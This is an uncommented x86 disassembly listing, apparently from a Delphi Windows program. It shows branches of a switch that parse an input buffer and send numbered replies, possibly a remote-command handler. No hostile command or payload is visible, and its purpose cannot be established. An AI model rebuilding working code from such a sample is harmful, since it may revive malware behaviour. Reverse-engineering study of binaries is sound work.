mov eax, dword [0x53b548]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle case.0x4d7040.10
mov eax, dword [0x534338]
cmp dword [eax], 0
jne 0x4dc07e
call fcn.004cd4f8
mov eax, dword [0x53425c]
cmp dword [eax], 0
jne 0x4dc08d
call fcn.004ce818
mov eax, dword [0x534418]
cmp dword [eax], 0
jne 0x4dc09c
call fcn.004cef74
movsx eax, word [0x53b53c]
mov dword [0x53b544], eax
mov ax, word [0x53b53c]
cmp ax, word [0x53b53e]
jge 0x4dc0d2
movsx eax, word [0x53b53e]
movsx edx, word [0x53b53c]
sub eax, edx
call fcn.0040307c
add dword [0x53b544], eax
mov dword [0x53b54c], 0xffffffff
mov byte [0x533558], 1
jmp case.0x4d7040.107
mov byte [0x533558], 0
jmp case.0x4d7040.107
mov ax, word [ebx + 0x10]
mov word [0x53b53c], ax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov word [0x53b53e], ax
mov al, byte [ebx + 0x14]
and al, 1
mov byte [0x53b540], al
lea edx, [ebp - 0xa38]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xa38]
mov eax, dword [0x53b548]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x53b548]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne case.0x4d7040.10
mov byte [0x533558], 0
jmp case.0x4d7040.10
cmp byte [0x533558], 0
je 0x4dc15c
mov dword [ebp - 0x48], 1
jmp 0x4dc161
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc5
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcba0
call fcn.00404b70
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jle case.0x4d7040.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a694]
call fcn.0046a91c
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e1770
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e19bc
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1f4c
lea eax, [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
lea eax, [ebp - 0xec]
call fcn.004d37b0
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0xec]
call fcn.004045d0
lea eax, [ebp - 0xa3c]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov edx, dword [ebp - 0xa3c]
mov eax, dword [ebp - 0xd8]
call fcn.0046a978
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x68], 1
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 0
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 7
xor eax, eax
push ebp
push 0x4dc314
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [0x53b5dc], eax
mov eax, dword [ebp - 0xd8]
call fcn.0046a9d0
mov eax, dword [0x53b5dc]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x4dc2c3
mov edx, 0x4dcc18
mov eax, dword [0x53b5dc]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0
push 0
lea edx, [ebp - 0xa40]
mov eax, dword [0x53b5dc]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xa40]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x22
mov eax, dword [ebp - 0x28]
call fcn.004d5178
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d7040.10
mov eax, dword [ebp - 0xd8]
call fcn.00403770
mov eax, dword [0x53b5dc]
call fcn.00403770
ret
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcba0
call fcn.00404b70
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4dc5be
cmp dword [ebp - 0x48], 1
jle 0x4dc386
lea eax, [ebp - 0xf4]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
jmp 0x4dc391
lea eax, [ebp - 0xf4]
call fcn.0040457c
lea eax, [ebp - 0xe8]
mov ecx, dword [ebp - 0x48]
mov edx, 1
call fcn.00404acc
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcba0
call fcn.00404b70
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
lea eax, [ebp - 0xec]
call fcn.004d37b0
lea eax, [ebp - 0xec]
call fcn.0046a8b0
lea eax, [ebp - 0xe8]
mov ecx, dword [ebp - 0x48]
mov edx, 1
call fcn.00404acc
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcba0
call fcn.00404b70
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xa44]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov edx, dword [ebp - 0xa44]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea eax, [ebp - 0xa48]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x61a8000
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov edx, dword [ebp - 0xa48]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4dc4ae
inc eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0xa4c]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa4c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edi, eax
mov edx, edi
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x48]
inc dword [ebp - 0x48]
dec dword [ebp - 0x118]
jne 0x4dc47a
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4dc505
inc eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0xa54]
mov edx, dword [ebp - 0x48]
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xa54]
lea eax, [ebp - 0xa50]
mov edx, dword [ebp - 0xec]
call fcn.00404880
mov eax, dword [ebp - 0xa50]
call fcn.004098f0
inc dword [ebp - 0x48]
dec dword [ebp - 0x118]
jne 0x4dc4c8
cmp dword [ebp - 0xf4], 0
je 0x4dc55f
lea ecx, [ebp - 0xa5c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xa5c]
lea eax, [ebp - 0xa58]
mov edx, dword [ebp - 0xec]
call fcn.00404880
mov eax, dword [ebp - 0xa58]
push eax
lea eax, [ebp - 0xa60]
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0xec]
call fcn.00404880
mov edx, dword [ebp - 0xa60]
pop eax
call fcn.00409908
mov al, byte [0x4dc9a8]
push eax
lea eax, [ebp - 0xe8]
push eax
lea edx, [ebp - 0xa68]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xa68]
lea edx, [ebp - 0xa64]
call fcn.00408fd4
mov eax, dword [ebp - 0xa64]
mov ecx, 0x4dcba0
mov edx, 0x4dcc2c
call fcn.0040d908
push 0
push 0
mov eax, dword [ebp - 0xe8]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x24
mov eax, dword [ebp - 0x28]
call fcn.004d5178
mov eax, esi
call fcn.00403770
mov eax, dword [ebp - 0x24]
call fcn.00403770
jmp case.0x4d7040.10
mov eax, dword [0x533510]
mov edx, dword [0x533514]
cmp edx, dword [0x532efc]
jne 0x4dc5f0
cmp eax, dword [0x532ef8]
jbe 0x4dc631
jmp 0x4dc5f2
jle 0x4dc631
mov eax, dword [0x53b4d8]
push eax
push 0
push 0
push 0
push 0x3e8
mov eax, dword [0x533510]
mov edx, dword [0x533514]
sub eax, dword [0x532ef8]
sbb edx, dword [0x532efc]
call fcn.00405910
mov ecx, eax
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
mov eax, dword [0x53b4d8]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebp - 0xe8]
call fcn.004af46c
xor eax, eax
mov dword [0x532ef0], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dc929
lea eax, [ebp - 0xa68]
mov edx, 0xe
call fcn.004045a0
lea eax, [ebp - 0xa30]
call fcn.00404c98
lea eax, [ebp - 0xa2c]
call fcn.0040457c
lea eax, [ebp - 0xa28]
call fcn.00404c98
lea eax, [ebp - 0xa24]
call fcn.0040457c
lea eax, [ebp - 0xa20]
call fcn.00404c98
lea eax, [ebp - 0xa1c]
call fcn.0040457c
lea eax, [ebp - 0xa18]
mov edx, 3
call fcn.00404cb0
lea eax, [ebp - 0xa0c]
call fcn.0040457c
lea eax, [ebp - 0xa08]
mov edx, 3
call fcn.00404cb0
lea eax, [ebp - 0x9fc]
call fcn.0040457c
lea eax, [ebp - 0x9f8]
mov edx, 3
call fcn.00404cb0
lea eax, [ebp - 0x9ec]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0x9e4]
mov edx, 4
call fcn.00404cb0
lea eax, [ebp - 0x9d4]
call fcn.0040457c
lea eax, [ebp - 0x9d0]
mov edx, 6
call fcn.00404cb0
lea eax, [ebp - 0x9b8]
call fcn.0040457c
lea eax, [ebp - 0x9b4]
mov edx, 4
call fcn.00404cb0
lea eax, [ebp - 0x9a4]
call fcn.0040457c
lea eax, [ebp - 0x9a0]
call fcn.00404c98
lea eax, [ebp - 0x99c]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0x994]
call fcn.00404c98
lea eax, [ebp - 0x990]
mov edx, 0xb
call fcn.004045a0
lea eax, [ebp - 0x964]
call fcn.00404c98
lea eax, [ebp - 0x960]
mov edx, 6
call fcn.004045a0
lea eax, [ebp - 0x948]
call fcn.00404c98
lea eax, [ebp - 0x944]
mov edx, 7
call fcn.004045a0
lea eax, [ebp - 0x928]
mov edx, 2
call fcn.00404cb0
lea eax, [ebp - 0x920]
mov edx, 9
call fcn.004045a0
lea eax, [ebp - 0x8fc]
call fcn.00404c98
lea eax, [ebp - 0x8f8]
mov edx, 3
call fcn.004045a0
lea eax, [ebp - 0x8ec]
call fcn.00404c98
lea eax, [ebp - 0x8e8]
call fcn.0040457c
lea eax, [ebp - 0x8e4]
call fcn.00404c98
lea eax, [ebp - 0x8e0]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0x8d8]
call fcn.0040457c
lea eax, [ebp - 0x8d4]
call fcn.00404c98
lea eax, [ebp - 0x8d0]
mov edx, 3
call fcn.004045a0
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0xf8]
mov edx, 5
call fcn.004045a0
lea eax, [ebp - 0xe0]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0xc4]
call fcn.0040457c
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.00404cb0
lea eax, [ebp - 0x9c]
call fcn.0040457c
lea eax, [ebp - 0x88]
call fcn.0040457c
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0x6c]
call fcn.0040457c
lea eax, [ebp - 0x64]
mov edx, 4
call fcn.004045a0
lea eax, [ebp - 0x3c]
mov edx, 3
call fcn.004045a0
lea eax, [ebp - 0x19]
mov edx, dword [0x4eebb0]
call fcn.004052f0
ret